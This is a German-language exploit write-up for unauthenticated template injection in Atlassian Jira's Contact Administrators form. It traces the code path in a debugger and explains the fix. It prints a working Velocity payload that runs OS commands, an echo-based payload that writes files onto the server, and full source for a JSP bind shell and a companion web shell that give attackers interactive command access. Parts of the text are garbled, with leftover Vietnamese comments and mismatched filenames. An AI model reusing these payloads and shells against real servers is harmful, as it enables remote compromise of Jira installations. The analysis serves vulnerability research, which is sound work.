
Atlassian Jira unauthentifizierte Template-Injection
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
set JVM_SUPPORT_RECOMMENDED_ARGS= in der Datei ./bin/setenv.bat (oder analog in ./bin/setenv.sh unter Linux), um Remote-Debugging zu ermöglichen.set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM DebughostportCommand line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
Führe die Datei ./bin/config.bat aus (oder unter Linux die Datei config.sh) und setze "Jira home" auf dein Jira-Home-Verzeichnis.

Führe die Datei ./bin/start-jira.bat aus (oder ./bin/start-jira.sh unter Linux). Prüft, ob die Java-Version passt und die Ports 8080 und 5005 frei sind, falls es nicht startet!
Wir wählen den privaten Modus.

An diesem Punkt müsst ihr unbedingt eine E-Mail-Adresse verwenden, die E-Mails empfangen kann :)

Konfiguriert und testet die Verbindung vollständig.

Unter http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa aktivieren wir die Funktion Contact Administrators Form.

Ich notiere nur ein paar Hinweise zum Build; ihr könnt Building Jira from Source nachlesen.
Nach dem Lesen des Advisories wissen wir, dass dieser Bug in ContactAdministrators und SendBulkMail liegt (Letzteres überspringe ich, da es eine Authentifizierung erfordert). Deshalb beginne ich, die Funktion ContactAdministrators zu testen, und fange die Anfrage ab.

Ich sehe, dass die Anfrage an /secure/ContactAdministrators.jspa geht; also schaue ich in die Datei ./atlassian-jira/WEB-INF/web.xml, um herauszufinden, an welche Klasse diese Anfrage weitergeleitet wird.


Die Anfrage wird also von JiraWebworkActionDispatcher verarbeitet. Deshalb setze ich in dieser Klasse Haltepunkte in init und server und starte das Debugging.

Damit stoppt das Programm in der Methode server; nach etwas Tracing springt es zu ContactAdministrators.doExecute().

Danach geht es durch send; hier listet das Programm die aktiven Admin-Konten auf.

Danach durchläuft das Programm die Funktion sendTo. Hier sehen wir, dass das Programm eine MailQueueItem erstellt und sie zur mailQueue hinzufügt.

Das Programm ruft die Funktion EmailBuilder.withSubject auf. Hier wird der Subject-String der E-Mail (vom Angreifer gesendet) von String in TemplateSources umgewandelt und dem Parameter subjectTemplate des EmailBuilder zugewiesen.

In der Funktion renderLater erstellt das Programm einen EmailRenderer und verwendet ihn, um eine RenderingMailQueueItem zu erzeugen.

Von hier aus zurück in der Funktion ContactAdministrators.sendTo: Nachdem eine MailQueueItem erstellt wurde, fügt das Programm das Element zur mailQueue hinzu und kehrt zur Funktion doExecute zurück, um eine Weiterleitung durchzuführen. Wenn wir diesem Debug-Fluss folgen, können wir nicht zu dem Teil springen, in dem das Programm die E-Mail rendert, und erreichen daher die Stelle nicht, an der die Template-Injection auftritt. Was also tun, um die E-Mail-Verarbeitung zu verfolgen???
Ich sehe, dass EmailRenderer eine Funktion renderNow hat (das Programm ruft nur renderLater auf). Ich vermute, dass eine E-Mail in der Warteschlange, wenn sie zum Rendern aufgerufen wird, dem gleichen Ablauf wie renderNow folgt. Deshalb beschließe ich, ab renderNow zu tracen.

Von renderNow ruft das Programm EmailRenderer.render() auf. Ich setze hier einen Haltepunkt und sende die Anfrage erneut, um zu sehen, ob das Programm tatsächlich bis hierher läuft.

Glücklicherweise folgt das Programm genau der vermuteten Richtung. Als Nächstes ruft es renderEmailSubject auf.

Danach ruft das Programm DefaultVelocityTemplatingEngine.render(this.subjectTemplate) auf.

Es gelangt zu DefaultVelocityTemplatingEngine.applying und DefaultVelocityTemplatingEngine.asPlainText.

Weiter geht es mit dem Aufruf von asPlainText(Writer writer).

Bei toWriterImpl springt das Programm, da der übergebene writer ein Fragment ist, in den else-Zweig.
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent auf.

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Hier erzeugt das Programm einen SimpleNode aus dem Reader.

render; hier ruft es nodeTree.render(ica, writer); auf, um das Velocity-Template zu parsen – genau hier ist die Template-Injection möglich!public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()


ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
Damit können wir also auf dem Jira-Server RCE ausführen. Aber was, wenn wir eine Shell wollen und der Server keinen ausgehenden Datenverkehr (Outbound) erlaubt? In diesem Fall können wir keine normale Bind/Reverse Shell erstellen, da wir keinen Port ins Internet haben.
Ich habe einen Tipp von @honson97 bekommen: „Eine JSP-Webseite verwenden, die Eingaben vom Angreifer entgegennimmt und an eine unabhängig arbeitende Bind Shell weiterleitet, die auf dem Localhost des Servers lauscht.“

Basierend auf dieser Idee schreibe ich zwei JSP-Dateien, web.jsp und blind.jsp. blind.jsp dient als Blind Shell, lauscht ständig auf localhost:4444, nimmt Befehle über cmd/base entgegen und liefert das Ergebnis an die JSP-Webseite web.jsp zurück; web.jsp ist das Werkzeug, über das der Angreifer Befehle eingibt und Ausgaben erhält.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
Als Nächstes laden wir die Shell auf den Server hoch. Da wir vom Server ausgehen, der keinen Outbound-Verkehr erlaubt, können wir die Dateien nur per echo hochladen. Zuerst entferne ich die Zeichen \n und maskiere spezielle Escape-Zeichen (mit Python).
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
Danach kopiere ich den resultierenden String in den Payload:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
Nachdem die beiden Dateien web.jsp und bind.jsp hochgeladen wurden, rufen wir /bind.jsp auf und öffnen dann einen weiteren Tab mit /web.jsp?cmd=COMMAND, um die Shell zu testen.

Bei ContactAdministrators.sendTo() wurde anstatt die Client-Eingabe direkt an EmailBuilder.withSubject zu übergeben und in einen (renderbaren) Template-Source umzuwandeln, in der Fix-Version die Eingabe als String-Kontext eingebunden und lediglich der String "$subject" an EmailBuilder.withSubject übergeben. Beim Rendern führt das System das Template "$subject" aus, lädt also den Subject (die String-Kontext-Eingabe des Clients) hoch, ohne ihn zu rendern. Mit anderen Worten: Das Programm lädt die Eingabe als String, nicht als renderbares Template.
Fehlerhafte Version
Fix-Version